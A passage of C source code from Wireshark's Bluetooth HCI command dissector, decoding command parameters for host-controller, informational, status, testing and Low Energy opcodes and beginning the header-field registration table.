proto_tree_add_item(tree, hf_bthci_cmd_evt_mask2_15, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset+=7;
break;
case 0x0065: /* Write Location Data */
proto_tree_add_item(tree, hf_bthci_cmd_location_domain_aware, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_location_domain, tvb, offset, 2, ENC_ASCII | ENC_NA);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_location_domain_options, tvb, offset, 1, ENC_ASCII | ENC_NA);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_location_options, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0067: /* Write Flow Control Mode */
proto_tree_add_item(tree, hf_bthci_cmd_flow_control_mode, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0068: /* Read Enhanced Tx Power Level */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_tx_power_level_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0069: /* Read Best Effort Flush Timeout */
proto_tree_add_item(tree, hf_bthci_cmd_logical_link_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x006a: /* Write Best Effort Flush Timeout */
proto_tree_add_item(tree, hf_bthci_cmd_logical_link_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_flush_to_us, tvb, offset, 4, ENC_LITTLE_ENDIAN);
offset+=4;
break;
case 0x006b: /* Short Range Mode */
proto_tree_add_item(tree, hf_bthci_cmd_physical_link_handle, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_short_range_mode, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x006d: /* Write LE Host Supported */
proto_tree_add_item(tree, hf_bthci_cmd_le_supported_host, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_le_simultaneous_host, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x003: /* Reset */
case 0x009: /* Read PIN Type */
case 0x00B: /* Create New Unit Key */
case 0x014: /* Read Local Name */
case 0x015: /* Read Connection Accept Timeout */
case 0x017: /* Read Page Timeout */
case 0x019: /* Read Scan Enable */
case 0x01B: /* Read Page Scan Activity */
case 0x01D: /* Read Inquiry Scan Activity */
case 0x01F: /* Read Authentication Enable */
case 0x021: /* Read Encryption Mode */
case 0x023: /* Read Class of Device */
case 0x025: /* Read Voice Setting */
case 0x029: /* Read Num Broadcast Retransmissions */
case 0x02B: /* Read Hold Mode Activity */
case 0x02E: /* Read SCO Flow Control Enable */
case 0x038: /* Read Number of Supported IAC */
case 0x039: /* Read Current IAC LAP */
case 0x03B: /* Read Page Scan Period Mode */
case 0x03D: /* Read Page Scan Mode */
case 0x042: /* Read Inquiry Scan Type */
case 0x044: /* Read Inquiry Mode */
case 0x046: /* Read Page Scan Type */
case 0x048: /* Read AFH Channel Assessment Mode */
case 0x051: /* Read Extended Inquiry Response */
case 0x055: /* Read Simple Pairing Mode */
case 0x057: /* Read Local OOB Data */
case 0x058: /* Read Inquiry Response Tx Power Level */
case 0x05A: /* Read Default Erroneous Data Reporting */
case 0x061: /* Read Logical Link Accept Timeout */
case 0x064: /* Read Location Data */
case 0x066: /* Read Flow Control Mode */
case 0x06C: /* Read LE Host Supported */
/* NOTE: No parameters */
break;
case 0x06E: /* Set MWS Channel Parameters */
case 0x06F: /* Set External Frame Configuration */
case 0x070: /* Set MWS Signaling */
case 0x071: /* Set MWS Transport Layer */
case 0x072: /* Set MWS Scan Frequency Table */
case 0x073: /* Set MWS Pattern Configuration */
case 0x074: /* Set Reserved LT_ADDR */
case 0x075: /* Delete Reserved LT_ADDR */
case 0x076: /* Set Connectionless Slave Broadcast Data */
case 0x077: /* Read Synchronization Train Parameters */
case 0x078: /* Write Synchronization Train Parameters */
/* TODO: Implement above cases */
proto_tree_add_expert(tree, pinfo, &ei_command_undecoded, tvb, offset, -1);
offset += tvb_length_remaining(tvb, offset);
break;
}
return offset;
}
static int
dissect_informational_parameters_cmd(tvbuff_t *tvb, int offset, packet_info *pinfo _U_,
proto_tree *tree, guint16 cmd_ocf)
{
switch (cmd_ocf) {
case 0x0004: /* Read Local Extended Features */
proto_tree_add_item(tree, hf_bthci_cmd_page_number, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x001: /* Read Local Version Information */
case 0x002: /* Read Local Supported Commands */
case 0x003: /* Read Local Supported Features */
case 0x005: /* Read Buffer Size */
case 0x007: /* Read Country Code */
case 0x009: /* Read BD ADDR */
case 0x00A: /* Read Data Block Size */
case 0x00B: /* Read Local Supported Codecs */
/* NOTE: No parameters */
break;
}
return offset;
}
static int
dissect_status_parameters_cmd(tvbuff_t *tvb, int offset, packet_info *pinfo _U_,
proto_tree *tree, guint16 cmd_ocf)
{
switch (cmd_ocf) {
case 0x0001: /* Read Failed Contact Counter */
case 0x0002: /* Reset Failed Contact Counter */
case 0x0003: /* Get Link Quality */
case 0x0005: /* Read RSSI */
case 0x0006: /* Read AFH Channel Map */
case 0x0008: /* Read Encryption Key Size */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x0007: /* Read Clock */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_which_clock, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0009: /* Read Local AMP Info */
break;
case 0x000a: /* Read Local AMP Assoc */
proto_tree_add_item(tree, hf_bthci_cmd_physical_link_handle, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_length_so_far, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_amp_assoc_length, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x000b: /* Write Remote AMP Assoc */
proto_tree_add_item(tree, hf_bthci_cmd_physical_link_handle, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_length_so_far, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_amp_remaining_assoc_length, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_amp_assoc_fragment, tvb, offset, -1, ENC_NA);
offset+=tvb_length_remaining(tvb, offset);
break;
case 0x00D: /* Set Triggered Clock Capture */
/* NOTE: No parameters */
break;
case 0x00C: /* Get MWS Transport Layer Configuration */
/* TODO: Implement above cases */
proto_tree_add_expert(tree, pinfo, &ei_command_undecoded, tvb, offset, -1);
offset += tvb_length_remaining(tvb, offset);
break;
}
return offset;
}
static int
dissect_testing_cmd(tvbuff_t *tvb, int offset, packet_info *pinfo _U_, proto_tree *tree, guint16 cmd_ocf)
{
switch (cmd_ocf) {
case 0x0002: /* Write Loopback Mode */
proto_tree_add_item(tree, hf_bthci_cmd_loopback_mode, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0004: /* Write Simple Pairing Debug Mode */
proto_tree_add_item(tree, hf_bthci_cmd_simple_pairing_debug_mode, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0007: /* Enable AMP Receiver Reports */
proto_tree_add_item(tree, hf_bthci_cmd_enable_amp_recv_reports, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_amp_recv_report_interval, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x001: /* Read Loopback Mode */
case 0x003: /* Enable Device Under Test Mode */
case 0x008: /* AMP Test End */
/* NOTE: No parameters */
break;
case 0x009: /* AMP Test */
/* TODO: Implement above case */
proto_tree_add_expert(tree, pinfo, &ei_command_undecoded, tvb, offset, -1);
offset += tvb_length_remaining(tvb, offset);
break;
}
return offset;
}
static gint
dissect_le_cmd(tvbuff_t *tvb, int offset, packet_info *pinfo, proto_tree *tree, guint16 cmd_ocf, hci_data_t *hci_data)
{
proto_item *item;
proto_item *sub_item;
proto_tree *sub_tree;
switch(cmd_ocf) {
case 0x0001: /* LE Set Event Mask */
proto_tree_add_item(tree, hf_bthci_cmd_le_evt_mask_00, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_le_evt_mask_01, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_le_evt_mask_02, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_le_evt_mask_03, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_le_evt_mask_04, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset+=8;
break;
case 0x0005: /* LE Set Random Address */
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
break;
case 0x0006: /* LE Set Advertising Parameters */
item = proto_tree_add_item(tree, hf_bthci_cmd_le_advts_interval_min, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_le_advts_interval_max, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_le_advts_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_le_own_address_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_le_direct_address_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_le_advts_channel_map_1, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_le_advts_channel_map_2, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(tree, hf_bthci_cmd_le_advts_channel_map_3, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_le_advts_filter_policy, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x0008: /* LE Set Advertising Data */
case 0x0009: /* LE Set Scan Response Data */
proto_tree_add_item(tree, hf_bthci_cmd_le_data_length, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
call_dissector(btcommon_ad_handle, tvb_new_subset_length(tvb, offset, 31), pinfo, tree);
save_local_device_name(tvb, offset, pinfo, 31, hci_data);
offset += 31;
break;
case 0x000a: /* LE Set Advertise Enable */
proto_tree_add_item(tree, hf_bthci_cmd_le_advts_enable, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x000b: /* LE Set Scan Parameters */
proto_tree_add_item(tree, hf_bthci_cmd_le_scan_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
item = proto_tree_add_item(tree, hf_bthci_cmd_le_scan_interval, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_le_scan_window, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_le_own_address_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_le_scan_filter_policy, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x000c: /* LE Set Scan Enable */
proto_tree_add_item(tree, hf_bthci_cmd_le_scan_enable, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_le_filter_dublicates, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x000d: /* LE Create Connection */
item = proto_tree_add_item(tree, hf_bthci_cmd_le_scan_interval, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_le_scan_window, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_le_initiator_filter_policy, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_le_peer_address_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
proto_tree_add_item(tree, hf_bthci_cmd_le_own_address_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
item = proto_tree_add_item(tree, hf_bthci_cmd_le_con_interval_min, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g msec)", tvb_get_letohs(tvb, offset)*1.25);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_le_con_interval_max, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g msec)", tvb_get_letohs(tvb, offset)*1.25);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_le_con_latency, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (number events)");
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_le_supervision_timeout, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g sec)", tvb_get_letohs(tvb, offset)*0.01);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_le_min_ce_length, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_le_max_ce_length, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
break;
case 0x0011: /* LE Add Device To White List */
case 0x0012: /* LE Remove Device From White List */
proto_tree_add_item(tree, hf_bthci_cmd_le_address_type, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
offset = dissect_bd_addr(hf_bthci_cmd_bd_addr, tree, tvb, offset);
break;
case 0x0013: /* LE Connection Update */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_le_con_interval_min, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g msec)", tvb_get_letohs(tvb, offset)*1.25);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_le_con_interval_max, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g msec)", tvb_get_letohs(tvb, offset)*1.25);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_le_con_latency, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (number events)");
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_le_supervision_timeout, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g sec)", tvb_get_letohs(tvb, offset)*0.01);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_le_min_ce_length, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
item = proto_tree_add_item(tree, hf_bthci_cmd_le_max_ce_length, tvb, offset, 2, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%g msec)", tvb_get_letohs(tvb, offset)*0.625);
offset+=2;
break;
case 0x0014: /* LE Set Host Channel Classification */
sub_item = proto_tree_add_item(tree, hf_bthci_cmd_le_channel_map, tvb, offset, 5, ENC_NA);
sub_tree = proto_item_add_subtree(sub_item, ett_le_channel_map);
call_dissector(btcommon_le_channel_map_handle, tvb_new_subset_length(tvb, offset, 5), pinfo, sub_tree);
offset += 5;
break;
case 0x0015: /* LE Read Channel Map */
case 0x0016: /* LE Read Remote Used Features */
case 0x001b: /* LE Long Term Key Request Negative Reply */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
break;
case 0x0017: /* LE Encrypt */
proto_tree_add_item(tree, hf_bthci_cmd_key, tvb, offset, 16, ENC_NA);
offset+=16;
proto_tree_add_item(tree, hf_bthci_cmd_plaintext_data, tvb, offset, 16, ENC_NA);
offset+=16;
break;
case 0x0019: /* LE Start Encryption */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_random_number, tvb, offset, 8, ENC_NA);
offset+=8;
proto_tree_add_item(tree, hf_bthci_cmd_encrypted_diversifier, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_le_long_term_key, tvb, offset, 16, ENC_NA);
offset+=16;
break;
case 0x001a: /* LE Long Term Key Request Reply */
proto_tree_add_item(tree, hf_bthci_cmd_connection_handle, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(tree, hf_bthci_cmd_le_long_term_key, tvb, offset, 16, ENC_NA);
offset+=16;
break;
case 0x001d: /* LE Receiver Test */
item = proto_tree_add_item(tree, hf_bthci_cmd_rx_freqency, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%d MHz)", 2402 + 2*tvb_get_guint8(tvb, offset));
offset++;
break;
case 0x001e: /* LE Transmitter Test */
item = proto_tree_add_item(tree, hf_bthci_cmd_tx_freqency, tvb, offset, 1, ENC_LITTLE_ENDIAN);
proto_item_append_text(item, " (%d MHz)", 2402 + 2*tvb_get_guint8(tvb, offset));
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_test_data_length, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
proto_tree_add_item(tree, hf_bthci_cmd_test_packet_payload, tvb, offset, 1, ENC_LITTLE_ENDIAN);
offset++;
break;
case 0x002: /* LE Read Buffer Size */
case 0x003: /* LE Read Local Supported Features */
case 0x007: /* LE Read Advertising Channel Tx Power */
case 0x00E: /* LE Create Connection Cancel */
case 0x00F: /* LE Read White List Size */
case 0x010: /* LE Clear White List */
case 0x018: /* LE Rand */
case 0x01C: /* LE Read Supported States */
case 0x01F: /* LE Test End */
/* NOTE: No parameters */
break;
}
return offset;
}
/* Code to actually dissect the packets */
static gint
dissect_bthci_cmd(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data)
{
proto_item *ti_cmd;
proto_tree *bthci_cmd_tree;
guint16 opcode;
guint16 ocf;
guint8 param_length;
guint8 ogf;
gint offset = 0;
proto_item *ti_opcode;
proto_tree *opcode_tree;
gint hfx;
hci_data_t *hci_data;
/* Reject the packet if data is NULL */
if (data == NULL)
return 0;
hci_data = (hci_data_t *) data;
ti_cmd = proto_tree_add_item(tree, proto_bthci_cmd, tvb, offset, -1, ENC_NA);
bthci_cmd_tree = proto_item_add_subtree(ti_cmd, ett_bthci_cmd);
switch (pinfo->p2p_dir) {
case P2P_DIR_SENT:
col_set_str(pinfo->cinfo, COL_INFO, "Sent ");
break;
case P2P_DIR_RECV:
col_set_str(pinfo->cinfo, COL_INFO, "Rcvd ");
break;
default:
col_add_fstr(pinfo->cinfo, COL_INFO, "Unknown direction %d ",
pinfo->p2p_dir);
break;
}
SET_ADDRESS(&pinfo->src, AT_STRINGZ, 5, "host");
SET_ADDRESS(&pinfo->dst, AT_STRINGZ, 11, "controller");
opcode = tvb_get_letohs(tvb, offset);
ocf = opcode & 0x03ff;
ogf = (guint8) (opcode >> 10);
proto_item_append_text(ti_cmd," - %s", val_to_str_ext(opcode, &bthci_cmd_opcode_vals_ext, "Unknown 0x%04x"));
col_set_str(pinfo->cinfo, COL_PROTOCOL, "HCI_CMD");
ti_opcode = proto_tree_add_item(bthci_cmd_tree, hf_bthci_cmd_opcode, tvb, offset, 2, ENC_LITTLE_ENDIAN);
opcode_tree = proto_item_add_subtree(ti_opcode, ett_opcode);
proto_tree_add_item(opcode_tree, hf_bthci_cmd_ogf, tvb, offset, 2, ENC_LITTLE_ENDIAN);
if (ogf == HCI_OGF_LINK_CONTROL)
hfx = hf_bthci_cmd_ocf_link_control;
else if (ogf == HCI_OGF_LINK_POLICY)
hfx = hf_bthci_cmd_ocf_link_policy;
else if (ogf == HCI_OGF_HOST_CONTROLLER)
hfx = hf_bthci_cmd_ocf_host_controller_and_baseband;
else if (ogf == HCI_OGF_INFORMATIONAL)
hfx = hf_bthci_cmd_ocf_informational;
else if (ogf == HCI_OGF_STATUS)
hfx = hf_bthci_cmd_ocf_status;
else if (ogf == HCI_OGF_TESTING)
hfx = hf_bthci_cmd_ocf_testing;
else if (ogf == HCI_OGF_LOW_ENERGY)
hfx = hf_bthci_cmd_ocf_low_energy;
else if (ogf == HCI_OGF_LOGO_TESTING)
hfx = hf_bthci_cmd_ocf_logo_testing;
else
hfx = hf_bthci_cmd_ocf;
proto_tree_add_item(opcode_tree, hfx, tvb, offset, 2, ENC_LITTLE_ENDIAN);
offset+=2;
proto_tree_add_item(bthci_cmd_tree, hf_bthci_cmd_param_length, tvb, offset, 1, ENC_LITTLE_ENDIAN);
param_length = tvb_get_guint8(tvb, offset);
offset++;
if (ogf == HCI_OGF_VENDOR_SPECIFIC) {
col_append_fstr(pinfo->cinfo, COL_INFO, "Vendor Command 0x%04X (opcode 0x%04X)", ocf, opcode);
dissector_try_uint_new(vendor_dissector_table, HCI_VENDOR_DEFAULT, tvb, pinfo, tree, TRUE, hci_data);
proto_tree_add_item(bthci_cmd_tree, hf_bthci_cmd_parameter, tvb, offset, tvb_captured_length_remaining(tvb, offset), ENC_NA);
return tvb_captured_length(tvb);
} else {
col_append_fstr(pinfo->cinfo, COL_INFO, "%s", val_to_str_ext(opcode, &bthci_cmd_opcode_vals_ext, "Unknown 0x%04x"));
}
if (param_length > 0) {
switch (ogf) {
case HCI_OGF_LINK_CONTROL:
offset = dissect_link_control_cmd(tvb, offset, pinfo, bthci_cmd_tree, ocf);
break;
case HCI_OGF_LINK_POLICY:
offset = dissect_link_policy_cmd(tvb, offset, pinfo, bthci_cmd_tree, ocf);
break;
case HCI_OGF_HOST_CONTROLLER:
offset = dissect_host_controller_baseband_cmd(tvb, offset, pinfo, bthci_cmd_tree, ocf, hci_data);
break;
case HCI_OGF_INFORMATIONAL:
offset = dissect_informational_parameters_cmd(tvb, offset, pinfo, bthci_cmd_tree, ocf);
break;
case HCI_OGF_STATUS:
offset = dissect_status_parameters_cmd(tvb, offset, pinfo, bthci_cmd_tree, ocf);
break;
case HCI_OGF_TESTING:
offset = dissect_testing_cmd(tvb, offset, pinfo, bthci_cmd_tree, ocf);
break;
case HCI_OGF_LOW_ENERGY:
offset = dissect_le_cmd(tvb, offset, pinfo, bthci_cmd_tree, ocf, hci_data);
break;
default:
proto_tree_add_expert(bthci_cmd_tree, pinfo, &ei_command_unknown, tvb, 3, -1);
offset += tvb_length_remaining(tvb, offset);
break;
}
}
if (tvb_length_remaining(tvb, offset) > 0) {
proto_tree_add_expert(bthci_cmd_tree, pinfo, &ei_command_parameter_unexpected, tvb, offset, -1);
/*offset += tvb_length_remaining(tvb, offset);*/
}
return offset;
}
/* Register the protocol with Wireshark */
/* this format is require because a script is used to build the C function
that calls all the protocol registration.
*/
void
proto_register_bthci_cmd(void)
{
module_t *module;
expert_module_t *expert_bthci_cmd;
guint i_opcode = 0;
guint i_array;
guint i_string_array;
/* Setup list of header fields See Section 1.6.1 for details*/
static hf_register_info hf[] = {
{ &hf_bthci_cmd_opcode,
{ "Command Opcode", "bthci_cmd.opcode",
FT_UINT16, BASE_HEX|BASE_EXT_STRING, &bthci_cmd_opcode_vals_ext, 0x0,
"HCI Command Opcode", HFILL }
},
{ &hf_bthci_cmd_ogf,
{ "Opcode Group Field", "bthci_cmd.opcode.ogf",
FT_UINT16, BASE_HEX|BASE_EXT_STRING, &bthci_ogf_vals_ext, 0xfc00,
NULL, HFILL }
},
{ &hf_bthci_cmd_ocf_link_control,
{ "Opcode Command Field", "bthci_cmd.opcode.ocf",
FT_UINT16, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_ocf_link_control_vals_ext, 0x03ff,
NULL, HFILL }
},
{ &hf_bthci_cmd_ocf_link_policy,
{ "Opcode Command Field", "bthci_cmd.opcode.ocf",
FT_UINT16, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_ocf_link_policy_vals_ext, 0x03ff,
NULL, HFILL }
},
{ &hf_bthci_cmd_ocf_host_controller_and_baseband,
{ "Opcode Command Field", "bthci_cmd.opcode.ocf",
FT_UINT16, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_ocf_host_controller_and_baseband_vals_ext, 0x03ff,
NULL, HFILL }
},
{ &hf_bthci_cmd_ocf_informational,
{ "Opcode Command Field", "bthci_cmd.opcode.ocf",
FT_UINT16, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_ocf_informational_vals_ext, 0x03ff,
NULL, HFILL }
},
{ &hf_bthci_cmd_ocf_status,
{ "Opcode Command Field", "bthci_cmd.opcode.ocf",
FT_UINT16, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_ocf_status_vals_ext, 0x03ff,
NULL, HFILL }
},
{ &hf_bthci_cmd_ocf_testing,
{ "Opcode Command Field", "bthci_cmd.opcode.ocf",
FT_UINT16, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_ocf_testing_vals_ext, 0x03ff,
NULL, HFILL }
},
{ &hf_bthci_cmd_ocf_low_energy,
{ "Opcode Command Field", "bthci_cmd.opcode.ocf",
FT_UINT16, BASE_HEX | BASE_EXT_STRING, &bthci_cmd_ocf_low_energy_vals_ext, 0x03ff,
NULL, HFILL }
},
{ &hf_bthci_cmd_ocf_logo_testing,
{ "Opcode Command Field", "bthci_cmd.opcode.ocf",
FT_UINT16, BASE_HEX, NULL, 0x03ff,
NULL, HFILL }
},
{ &hf_bthci_cmd_ocf,
{ "Opcode Command Field", "bthci_cmd.opcode.ocf",
FT_UINT16, BASE_HEX, NULL, 0x03ff,
NULL, HFILL }
},
{ &hf_bthci_cmd_param_length,
{ "Parameter Total Length", "bthci_cmd.param_length",
FT_UINT8, BASE_DEC, NULL, 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_lap,
{ "LAP", "bthci_cmd.lap",
FT_UINT24, BASE_HEX, NULL, 0x0,
"LAP for the inquiry access code", HFILL }
},
{ &hf_bthci_cmd_inq_length,
{ "Inquiry Length", "bthci_cmd.inq_length",
FT_UINT8, BASE_DEC, NULL, 0x0,
"Inquiry Length (*1.28s)", HFILL }
},
{ &hf_bthci_cmd_num_responses,
{ "Num Responses", "bthci_cmd.num_responses",
FT_UINT8, BASE_DEC, NULL, 0x0,
"Number of Responses", HFILL }
},
{ &hf_bthci_cmd_encrypt_mode,
{ "Encryption Mode", "bthci_cmd.encrypt_mode",
FT_UINT8, BASE_HEX, VALS(cmd_encrypt_mode_vals), 0x0,
NULL, HFILL }
},
{ &hf_bthci_cmd_bd_addr,
{ "BD_ADDR", "bthci_cmd.bd_addr",
FT_ETHER, BASE_NONE, NULL, 0x0,
"Bluetooth Device Address", HFILL}
},
{ &hf_bthci_cmd_packet_type_2dh1,
{ "Packet Type 2-DH1", "bthci_cmd.packet_type_2dh1",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0002,
NULL, HFILL }
},
{ &hf_bthci_cmd_packet_type_3dh1,
{ "Packet Type 3-DH1", "bthci_cmd.packet_type_3dh1",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0004,
NULL, HFILL }
},
{ &hf_bthci_cmd_packet_type_dm1,
{ "Packet Type DM1", "bthci_cmd.packet_type_dm1",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0008,
NULL, HFILL }
},
{ &hf_bthci_cmd_packet_type_dh1,
{ "Packet Type DH1", "bthci_cmd.packet_type_dh1",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0010,
NULL, HFILL }
},
{ &hf_bthci_cmd_packet_type_2dh3,
{ "Packet Type 2-DH3", "bthci_cmd.packet_type_2dh3",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0100,
NULL, HFILL }
},
{ &hf_bthci_cmd_packet_type_3dh3,
{ "Packet Type 3-DH3", "bthci_cmd.packet_type_3dh3",
FT_UINT16, BASE_DEC, VALS(cmd_boolean), 0x0200,
NULL, HFILL }
},
{ &hf_bthci_cmd_packet_type_dm3,
